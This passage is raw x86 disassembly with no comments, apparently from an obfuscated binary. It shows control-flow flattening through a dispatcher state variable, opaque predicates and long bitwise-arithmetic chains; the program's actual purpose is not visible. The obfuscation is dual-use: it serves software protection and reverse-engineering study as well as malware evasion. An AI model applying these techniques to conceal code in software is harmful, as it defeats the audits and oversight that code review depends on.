xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x945224f6
or eax, edx
or ecx, 0x945224f6
xor eax, 0xffffffff
and eax, ecx
mov ecx, ebx
xor ecx, 0xffffffff
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xae2e76b4
mov edx, ecx
and edx, 0xae2e76b4
and ebx, esi
mov dword [ebp - 0x486b4], ebx
mov ebx, edi
and ebx, 0xae2e76b4
and eax, esi
mov dword [ebp - 0x486b0], eax
mov eax, dword [ebp - 0x486b4]
or edx, eax
mov eax, dword [ebp - 0x486b0]
or ebx, eax
mov eax, dword [ebp - 0x486ac]
xor edx, ebx
or ecx, edi
xor ecx, 0xffffffff
or esi, 0xae2e76b4
and ecx, esi
or edx, ecx
mov esi, eax
xor esi, 0xffffffff
and esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
or esi, eax
mov eax, edx
xor eax, 0xffffffff
mov ecx, esi
and ecx, eax
xor esi, 0xffffffff
mov eax, edx
and eax, esi
or ecx, eax
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x48508], eax
mov dword [ebp - 0x485ec], 0xf892b2f
jmp 0x41eecc
mov eax, dword [ebp - 0x485b4]
mov ecx, dword [eax]
add ecx, 2
mov eax, dword [ebp - 0x485b4]
mov dword [eax], ecx
mov dword [ebp - 0x485ec], 0xb1e1629b
jmp 0x41eecc
mov ecx, dword [0x50d548]
mov eax, dword [0x50d544]
mov esi, 0x3577476
add esi, 0
sub esi, ecx
sub esi, 0x3577476
xor edx, edx
sub edx, 0x3020e3b9
sub edx, 0xa18d7a49
add edx, 0x3020e3b9
sub esi, 0x9cf602cb
add esi, edx
add esi, 0x9cf602cb
xor edx, edx
sub edx, esi
add edx, 0
add edx, 0x87d72629
add edx, 0xca9e9b7e
sub edx, 0x87d72629
xor esi, esi
sub esi, 1
add edx, esi
xor esi, esi
sub esi, 0xca9e9b7e
add edx, esi
xor edi, edi
sub edi, 0x44d0321a
sub edi, 0xa18d7a49
add edi, 0x44d0321a
xor esi, esi
sub esi, edi
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
cmp eax, 0xa
setl ch
mov ah, ch
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov al, ch
and al, dl
or ah, al
mov al, cl
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
mov dh, cl
and dh, bl
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, bl
or al, dh
or dl, ah
xor al, dl
xor al, 0xff
mov ah, cl
xor ah, 0xff
mov dl, 1
xor dl, 1
or al, ah
or dl, 1
xor al, 0xff
and al, dl
mov byte [ebp - 0x48767], al
mov bh, cl
xor bh, 0xff
and bh, 0
mov dl, 1
xor dl, 0
mov ah, cl
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bh, ah
or al, dl
xor bh, al
xor bh, 0xff
xor bh, 0
and bh, 0
mov ah, 1
xor ah, 0
and ah, 1
mov al, 1
xor al, 1
and al, 0
or ah, al
mov dl, ah
xor dl, 0xff
mov al, cl
xor al, dl
and al, cl
mov dl, ch
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
mov cl, ch
and cl, dh
or dl, cl
mov dh, 1
xor dh, 0
mov cl, dl
xor cl, dh
and cl, dl
xor ch, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or ch, ah
or dl, 1
xor ch, 0xff
and ch, dl
mov ah, bh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 1
mov dl, ah
and dl, 0xff
and bh, dh
mov byte [ebp - 0x48769], bh
mov bh, bl
and bh, 0xff
and al, dh
mov byte [ebp - 0x48768], al
mov al, byte [ebp - 0x48769]
or dl, al
mov al, byte [ebp - 0x48768]
or bh, al
mov al, byte [ebp - 0x48767]
xor dl, bh
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or dl, ah
mov ah, cl
and ah, ch
xor cl, ch
or ah, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov ah, al
and ah, ch
or dl, ah
mov byte [ebp - 0x48763], dl
mov dh, cl
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov bl, cl
and bl, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or dh, bl
or ah, ch
xor dh, ah
mov bh, 1
xor bh, 0
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0
or bh, ah
xor dl, 0xff
mov ch, 1
xor ch, 0
mov ah, 1
xor ah, 0
or dl, ch
or ah, 0
xor dl, 0xff
and dl, ah
mov ah, bh
xor ah, 0xff
mov ch, al
xor ch, ah
and ch, al
mov al, dh
xor al, 0xff
mov bl, 1
xor bl, 0
mov ah, 1
xor ah, 1
or al, bl
or ah, 1
xor al, 0xff
and al, ah
xor cl, 0xff
mov bl, bh
xor bl, 0xff
mov ah, 1
xor ah, 0
or cl, bl
or ah, 0
xor cl, 0xff
and cl, ah
mov ah, dl
and ah, ch
xor dl, ch
or ah, dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x48764], dl
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 1
and dl, 0xff
and al, ch
mov byte [ebp - 0x48766], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x48765], al
mov al, byte [ebp - 0x48766]
and cl, ch
or dl, al
mov al, byte [ebp - 0x48765]
or al, cl
mov cl, byte [ebp - 0x48764]
xor dl, al
mov al, byte [ebp - 0x48763]
or cl, bl
xor cl, 0xff
or ch, 1
and cl, ch
or dl, cl
mov bl, ah
xor bl, 0xff
and bl, 1
mov ch, 1
xor ch, 1
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, ch
or bl, ah
or cl, dl
xor bl, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0x48762], cl
mov ah, dh
xor ah, 0xff
mov dl, 1
xor dl, 1
and cl, 0xff
and al, dl
mov ch, ah
and ch, 0xff
and dh, dl
or cl, al
mov al, byte [ebp - 0x48762]
or ch, dh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov byte [ebp - 0x48761], al
mov dl, 1
xor dl, 0
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov al, ah
and al, 0
mov dh, ch
and dh, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0x48761]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2b9d00c8
mov ecx, 0xdf236672
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov dword [ebp - 0x485ec], 0xd281a874
jmp 0x41eecc
mov ecx, dword [0x50d548]
mov eax, dword [0x50d544]
mov edx, ecx
add edx, 0x373233dd
sub edx, 0x32d79f72
sub edx, 0x373233dd
xor esi, esi
sub esi, 0xd5056e27
add edx, esi
sub edx, 0x328cdd92
add edx, 0x32d79f72
add edx, 0x328cdd92
add edx, 0x74af7f1
add edx, 0x2f8c6d33
sub edx, 0x74af7f1
sub edx, 0x7d6bcfae
sub edx, 1
add edx, 0x7d6bcfae
xor esi, esi
sub esi, 0x2f8c6d33
add edx, esi
xor esi, esi
sub esi, edx
add esi, 0
xor edi, edi
sub edi, 0x99a31376
sub edi, 0xd5056e27
add edi, 0x99a31376
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edi
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, esi
add edx, 0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dh
cmp eax, 0xa
setl ch
mov cl, dh
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov ah, dh
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov al, 1
xor al, 1
and al, 1
or ah, al
mov dl, dh
xor dl, 0xff
xor ah, 0xff
mov al, 1
xor al, 1
or dl, ah
or al, 1
xor dl, 0xff
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x48777], al
mov cl, ch
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov al, ch
and al, dl
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov dl, 1
xor dl, 1
mov bl, dl
and bl, 1
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or ah, bl
or al, dl
xor ah, al
mov dl, ch
xor dl, 0xff
xor ah, 0xff
mov al, 1
xor al, 1
or dl, ah
or al, 1
xor dl, 0xff
and dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0x4877a], al
mov dl, 1
xor dl, 0
and dl, 0
mov cl, 1
xor cl, 0
mov ah, cl
and ah, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ah
or al, cl
xor dl, al
xor dl, 0xff
xor dl, 0
and dl, 0
mov ah, 1
xor ah, 0
and ah, 1
mov cl, 1
xor cl, 1
mov bl, cl
and bl, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, bl
or al, cl
xor ah, al
mov bh, 1
xor bh, 0
mov cl, ah
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov cl, 1
xor cl, 1
and cl, 1
mov bl, 1
xor bl, 1
mov al, bl
and al, 1
mov byte [ebp - 0x48796], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0x48795], al
mov al, byte [ebp - 0x48796]
and bl, 1
or cl, al
mov al, byte [ebp - 0x48795]
or al, bl
xor cl, al
mov bl, 1
xor bl, 0
mov al, cl
xor al, bl
and al, cl
mov cl, 1
xor cl, 1
xor ah, 0xff
mov bl, 1
xor bl, 1
or cl, ah
mov ah, byte [ebp - 0x48777]
or bl, 1
xor cl, 0xff
and cl, bl
mov bl, dl
and bl, bh
xor dl, bh
or bl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov cl, bl
xor cl, 0xff
and cl, 0
mov bh, 1
xor bh, 0
and bl, bh
mov al, dl
xor al, 0xff
and al, 0
and dl, bh
or cl, bl
or al, dl
xor cl, al
mov byte [ebp - 0x48778], cl
mov bl, 1
xor bl, 0
and bl, 1
mov dl, 1
xor dl, 1
mov bh, dl
and bh, 0
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bl, bh
or al, dl
xor bl, al
mov al, ah
xor al, 0xff
mov dl, bl
and dl, al
xor bl, 0xff
mov al, ah
and al, bl
or dl, al
xor ah, 0xff
mov al, dl
xor al, ah
and al, dl
mov byte [ebp - 0x48791], al
mov al, dh
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or al, dh
or dl, ah
xor al, dl
mov bl, cl
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
and cl, dl
or bl, cl
mov cl, 1
xor cl, 0
and cl, 1
mov ah, 1
xor ah, 1
mov dh, ah
and dh, 0
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, dh
or dl, ah
xor cl, dl
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x48794], bh
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 0
and bh, 0
and al, dl
mov dh, ah
and dh, 0
and bl, dl
or bh, al
mov al, byte [ebp - 0x48794]
or dh, bl
xor bh, dh
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or bh, al
mov dl, 1
xor dl, 0
mov bl, cl
xor bl, 0xff
mov ah, 1
xor ah, 0
mov dh, dl
and dh, 0
mov al, ah
and al, 0
mov byte [ebp - 0x48793], al
mov al, bl
and al, 0
mov byte [ebp - 0x48792], al
mov al, byte [ebp - 0x48793]
and cl, ah
or dh, al
mov al, byte [ebp - 0x48792]
or al, cl
mov cl, byte [ebp - 0x48791]
xor dh, al
mov al, byte [ebp - 0x4877a]
or dl, bl
xor dl, 0xff
or ah, 0
and dl, ah
or dh, dl
mov dl, bh
xor dl, 0xff
and dl, 0
mov bl, 1
xor bl, 0
and bh, bl
mov ah, 1
xor ah, 1
and ah, 0
and bl, 1
or dl, bh
or ah, bl
xor dl, ah
xor dh, 0xff
mov ah, dl
xor ah, dh
and ah, dl
mov bh, 1
xor bh, 0
and bh, 1
mov dl, 1
xor dl, 1
and dl, 0
or bh, dl
mov dh, al
xor dh, 0xff
and dh, 1
mov bl, 1
xor bl, 1
and al, bl
mov dl, bh
xor dl, 0xff
and dl, 0xff
and bh, bl
mov bl, byte [ebp - 0x4877a]
or dh, al
mov al, byte [ebp - 0x48778]
or dl, bh
xor dh, dl
xor bl, 0xff
mov dl, dh
xor dl, bl
and dl, dh
mov byte [ebp - 0x48781], dl
mov dl, ch
xor dl, 0xff
and dl, 1
mov dh, 1
xor dh, 1
and ch, dh
or dl, ch
mov ch, al
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
and al, dh
or ch, al
mov al, 1
xor al, 1
and al, 1
mov dh, 1
xor dh, 1
and dh, 1
or al, dh
mov bl, dl
and bl, ch
xor dl, ch
or bl, dl
mov dl, 1
xor dl, 1
mov byte [ebp - 0x4878e], dl
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
and dl, 0xff
mov bh, ch
and bh, 1
mov byte [ebp - 0x48790], bh
mov bh, dh
and bh, 0xff
and al, ch
mov byte [ebp - 0x4878f], al
mov al, byte [ebp - 0x48790]
or dl, al
mov al, byte [ebp - 0x4878f]
or bh, al
mov al, byte [ebp - 0x4878e]
xor dl, bh
or al, dh
xor al, 0xff
or ch, 1
and al, ch
or dl, al
mov dh, bl
xor dh, 0xff
and dh, 0
mov ch, 1
xor ch, 0
and bl, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or dh, bl
or al, ch
xor dh, al
xor dh, 0xff
xor dl, 0xff
mov al, 1
xor al, 0
or dh, dl
or al, 0
xor dh, 0xff
and dh, al
mov dl, cl
xor dl, 0xff
and dl, 0
mov ch, 1
xor ch, 0
mov bl, cl
and bl, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or dl, bl
or al, ch
xor dl, al
mov byte [ebp - 0x48786], dl
mov bh, ah
xor bh, 0xff
and bh, 1
mov ch, 1
xor ch, 1
mov bl, ah
and bl, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or bh, bl
or al, ch
xor bh, al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov byte [ebp - 0x48785], ch
mov bl, 1
xor bl, 1
mov al, dl
xor al, bl
and al, dl
xor cl, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 0
or cl, ch
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, bh
xor dl, 0xff
mov ch, 1
xor ch, 1
mov bl, 1
xor bl, 1
or dl, ch
mov ch, byte [ebp - 0x48785]
or bl, 1
xor dl, 0xff
and dl, bl
mov byte [ebp - 0x4878a], dl
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov byte [ebp - 0x4878b], dl
mov dl, al
xor dl, 0xff
mov bl, cl
xor bl, 0xff
mov ah, 1
xor ah, 0
mov ch, dl
and ch, 0
and al, ah
mov byte [ebp - 0x4878d], al
mov al, bl
and al, 0
mov byte [ebp - 0x4878c], al
mov al, byte [ebp - 0x4878d]
and cl, ah
or ch, al
mov al, byte [ebp - 0x4878c]
or al, cl
mov cl, byte [ebp - 0x4878b]
xor ch, al
mov al, byte [ebp - 0x4878a]
or dl, bl
xor dl, 0xff
or ah, 0
and dl, ah
or ch, dl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x48787], ah
mov bl, cl
xor bl, 0xff
mov dl, 1
xor dl, 1
and ah, 0xff
and al, dl
mov byte [ebp - 0x48789], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x48788], al
mov al, byte [ebp - 0x48789]
and cl, dl
or ah, al
mov al, byte [ebp - 0x48788]
or al, cl
mov cl, byte [ebp - 0x48787]
xor ah, al
mov al, byte [ebp - 0x48786]
or cl, bl
xor cl, 0xff
or dl, 1
and cl, dl
or ah, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and ch, bl
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, bl
or cl, ch
or dl, ah
xor cl, dl
mov byte [ebp - 0x48782], cl
mov cl, al
xor cl, 0xff
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
mov ch, cl
and ch, 0xff
and al, dl
mov bl, ah
and bl, 0xff
and bh, dl
or ch, al
mov al, byte [ebp - 0x48785]
or bl, bh
xor ch, bl
or cl, ah
xor cl, 0xff
or dl, 1
and cl, dl
or ch, cl
mov cl, ch
xor cl, 0xff
and cl, 0
mov ah, 1
xor ah, 0
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or cl, ch
or dl, ah
xor cl, dl
mov ah, 1
xor ah, 1
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 1
mov dl, ah
and dl, 0xff
mov bh, ch
and bh, 1
mov byte [ebp - 0x48784], bh
mov bh, bl
and bh, 0xff
and al, ch
mov byte [ebp - 0x48783], al
mov al, byte [ebp - 0x48784]
or dl, al
mov al, byte [ebp - 0x48783]
or bh, al
mov al, byte [ebp - 0x48782]
xor dl, bh
or ah, bl
xor ah, 0xff
or ch, 1
and ah, ch
or dl, ah
xor dl, 0xff
mov bh, cl
xor bh, dl
and bh, cl
mov cl, al
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov dl, cl
and dl, 0xff
and al, ah
mov bl, ch
and bl, 0xff
and bh, ah
or dl, al
mov al, byte [ebp - 0x48781]
or bl, bh
xor dl, bl
or cl, ch
xor cl, 0xff
or ah, 1
and cl, ah
or dl, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov bl, al
and bl, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or ah, bl
or cl, ch
xor ah, cl
mov ch, dh
xor ch, 0xff
and ch, 1
mov bl, 1
xor bl, 1
mov bh, dh
and bh, bl
mov cl, 1
xor cl, 1
and cl, 0xff
and bl, 1
or ch, bh
or cl, bl
xor ch, cl
mov bh, 1
xor bh, 0
and bh, 1
mov cl, 1
xor cl, 1
and cl, 0
or bh, cl
mov byte [ebp - 0x48780], bh
mov cl, 1
xor cl, 0
mov bl, ah
xor bl, cl
and bl, ah
xor al, 0xff
xor bh, 0xff
mov cl, 1
xor cl, 1
or al, bh
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0x4877f], al
mov al, ch
xor al, 0xff
mov cl, 1
xor cl, 0
mov bh, 1
xor bh, 1
or al, cl
mov cl, byte [ebp - 0x48780]
or bh, 1
xor al, 0xff
and al, bh
mov byte [ebp - 0x4877e], al
xor dh, 0xff
mov al, cl
xor al, 0xff
mov bh, 1
xor bh, 1
or dh, al
mov al, byte [ebp - 0x4877f]
or bh, 1
xor dh, 0xff
and dh, bh
mov bh, bl
and bh, al
xor bl, al
mov al, byte [ebp - 0x4877e]
or bh, bl
mov bl, al
and bl, dh
xor al, dh
or bl, al
mov al, bh
xor al, 0xff
and al, 1
mov byte [ebp - 0x4877d], al
mov al, 1
xor al, 1
and bh, al
mov dh, bl
xor dh, 0xff
and dh, 0xff
and bl, al
mov al, byte [ebp - 0x4877d]
or al, bh
or dh, bl
xor al, dh
mov byte [ebp - 0x48779], al
mov al, ah
and al, ch
xor ah, ch
or al, ah
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and al, ah
or ch, al
mov ah, 1
xor ah, 0
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 0
mov dh, ah
and dh, 0
mov al, bl
and al, 0
mov byte [ebp - 0x4877c], al
mov al, bh
and al, 0
mov byte [ebp - 0x4877b], al
mov al, byte [ebp - 0x4877c]
and cl, bl
or dh, al
mov al, byte [ebp - 0x4877b]
or al, cl
mov cl, byte [ebp - 0x4877a]
xor dh, al
mov al, byte [ebp - 0x48779]
or ah, bh
xor ah, 0xff
or bl, 0
and ah, bl
or dh, ah
xor dh, 0xff
mov ah, ch
xor ah, dh
and ah, ch
mov bl, al
and bl, ah
xor al, ah
or bl, al
mov al, dl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov ah, dl
and ah, ch
or al, ah
xor al, 0xff
mov dh, bl
xor dh, al
and dh, bl
mov ah, bl
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
and bl, ch
mov al, 1
xor al, 1
and al, 0
and ch, 1
or ah, bl
or al, ch
xor ah, al
xor ah, 0xff
mov al, dl
xor al, ah
and al, dl
mov ah, dh
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov ch, 1
xor ch, 1
mov dl, ah
and dl, 0xff
and dh, ch
mov bh, bl
and bh, 0xff
and al, ch
or dl, dh
mov dh, byte [ebp - 0x48778]
or bh, al
mov al, byte [ebp - 0x48777]
xor dl, bh
or ah, bl
xor ah, 0xff
or ch, 1
and ah, ch
or dl, ah
mov byte [ebp - 0x4876f], dl
mov dl, cl
xor dl, 0xff
mov bh, al
xor bh, dl
and bh, al
mov dl, al
xor dl, 0xff
mov bl, cl
and bl, dl
xor cl, 0xff
and al, cl
or bl, al
mov al, bh
xor al, 0xff
mov ah, bl
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bh, cl
mov ch, ah
and ch, 0xff
and bl, cl
or dl, bh
or ch, bl
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov ah, dl
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov al, dl
and al, cl
or ah, al
mov al, 1
xor al, 1
xor ah, 0xff
mov cl, 1
xor cl, 1
or al, ah
or cl, 1
xor al, 0xff
and al, cl
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
and cl, 1
or ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov bl, 1
xor bl, 0
and bl, 1
mov cl, 1
xor cl, 1
mov dl, cl
and dl, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bl, dl
or al, cl
xor bl, al
mov ch, dh
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or ch, al
mov byte [ebp - 0x48776], ch
mov cl, 1
xor cl, 1
and cl, 0
mov dl, 1
xor dl, 0
mov bh, dl
and bh, 1
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, bh
or al, dl
xor cl, al
mov byte [ebp - 0x48773], cl
mov al, 1
xor al, 1
mov dl, bl
xor dl, al
and dl, bl
mov bh, 1
xor bh, 0
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
xor ch, 0xff
mov al, 1
xor al, 1
mov cl, 1
xor cl, 1
or ch, al
mov al, byte [ebp - 0x48773]
or cl, 1
xor ch, 0xff
and ch, cl
xor dh, 0xff
xor al, 0xff
mov cl, 1
xor cl, 0
or dh, al
mov al, byte [ebp - 0x48776]
or cl, 0
xor dh, 0xff
and dh, cl
mov cl, dl
and cl, bh
xor dl, bh
or cl, dl
mov dl, ch
and dl, dh
xor ch, dh
or dl, ch
mov ch, cl
xor ch, 0xff
mov bh, dl
and bh, ch
xor dl, 0xff
and cl, dl
or bh, cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov dl, cl
and dl, 0
and bl, ch
mov byte [ebp - 0x48775], bl
mov bl, dh
and bl, 0
and al, ch
mov byte [ebp - 0x48774], al
mov al, byte [ebp - 0x48775]
or dl, al
mov al, byte [ebp - 0x48774]
or bl, al
mov al, byte [ebp - 0x48773]
xor dl, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or dl, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dl, ch
or cl, dl
mov byte [ebp - 0x48770], cl
mov dl, 1
xor dl, 1
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov cl, dl
and cl, 0xff
mov bl, ch
and bl, 1
mov byte [ebp - 0x48772], bl
mov bl, dh
and bl, 0xff
and al, ch
mov byte [ebp - 0x48771], al
mov al, byte [ebp - 0x48772]
or cl, al
mov al, byte [ebp - 0x48771]
or bl, al
mov al, byte [ebp - 0x48770]
xor cl, bl
or dl, dh
xor dl, 0xff
or ch, 1
and dl, ch
or cl, dl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov dl, bl
xor dl, 0xff
mov cl, 1
xor cl, 1
mov ch, al
and ch, 0xff
and bh, cl
mov dh, dl
and dh, 0xff
and bl, cl
or ch, bh
or dh, bl
xor ch, dh
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ch, al
mov al, ah
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, ch
or dl, ah
xor cl, dl
mov bh, 1
xor bh, 1
and bh, 1
mov dl, 1
xor dl, 1
and dl, 1
or bh, dl
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov cl, 1
xor cl, 1
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
mov dl, cl
and dl, 0xff
mov al, ah
and al, 1
mov bl, ch
and bl, 0xff
and bh, ah
or dl, al
mov al, byte [ebp - 0x4876f]
or bl, bh
xor dl, bl
or cl, ch
xor cl, 0xff
or ah, 1
and cl, ah
or dl, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
xor dl, 0xff
mov bl, cl
xor bl, dl
and bl, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
mov ah, al
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or dh, ah
or cl, dl
xor dh, cl
mov byte [ebp - 0x4876e], dh
mov ah, bl
xor ah, 0xff
and ah, 1
mov dl, 1
xor dl, 1
mov cl, bl
and cl, dl
or ah, cl
mov dl, 1
xor dl, 0
and dl, 0
mov ch, 1
xor ch, 0
mov bh, ch
and bh, 0
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or dl, bh
or cl, ch
xor dl, cl
xor dh, 0xff
mov ch, 1
xor ch, 0
mov cl, 1
xor cl, 1
or dh, ch
or cl, 1
xor dh, 0xff
and dh, cl
mov cl, dl
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov al, ah
xor al, 0xff
mov cl, 1
xor cl, 0
mov ch, 1
xor ch, 1
or al, cl
mov cl, byte [ebp - 0x4876e]
or ch, 1
xor al, 0xff
and al, ch
mov byte [ebp - 0x4876d], al
xor bl, 0xff
mov al, dl
xor al, 0xff
mov ch, 1
xor ch, 1
or bl, al
mov al, byte [ebp - 0x4876d]
or ch, 1
xor bl, 0xff
and bl, ch
mov ch, dh
and ch, bh
xor dh, bh
or ch, dh
mov dh, al
and dh, bl
xor al, bl
or dh, al
mov bl, ch
xor bl, 0xff
mov al, dh
and al, bl
xor dh, 0xff
and ch, dh
or al, ch
mov dh, cl
and dh, ah
xor cl, ah
or dh, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, 1
xor ch, 0
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
mov ah, dl
and ah, 0
xor dl, 0
or ah, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb8af35aa
mov ecx, 0xbf53cc0b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x485ec], eax
jmp 0x41eecc
mov eax, dword [ebp - 0x485e4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x484f4], eax
mov eax, dword [0x50d548]
mov ecx, dword [0x50d544]
xor esi, esi
sub esi, 0x9a8fb50d
mov edx, eax
sub edx, esi
sub edx, 0xd012e880
sub edx, 0xb639234a
add edx, 0xd012e880
xor esi, esi
sub esi, 0x9a8fb50d
add edx, esi
sub edx, 0xf206b0c4
add edx, 0x209844f6
add edx, 0xf206b0c4
add edx, 0xaebdea1e
sub edx, 1
sub edx, 0xaebdea1e
sub edx, 0x4b529c7e
sub edx, 0x209844f6
add edx, 0x4b529c7e
xor esi, esi
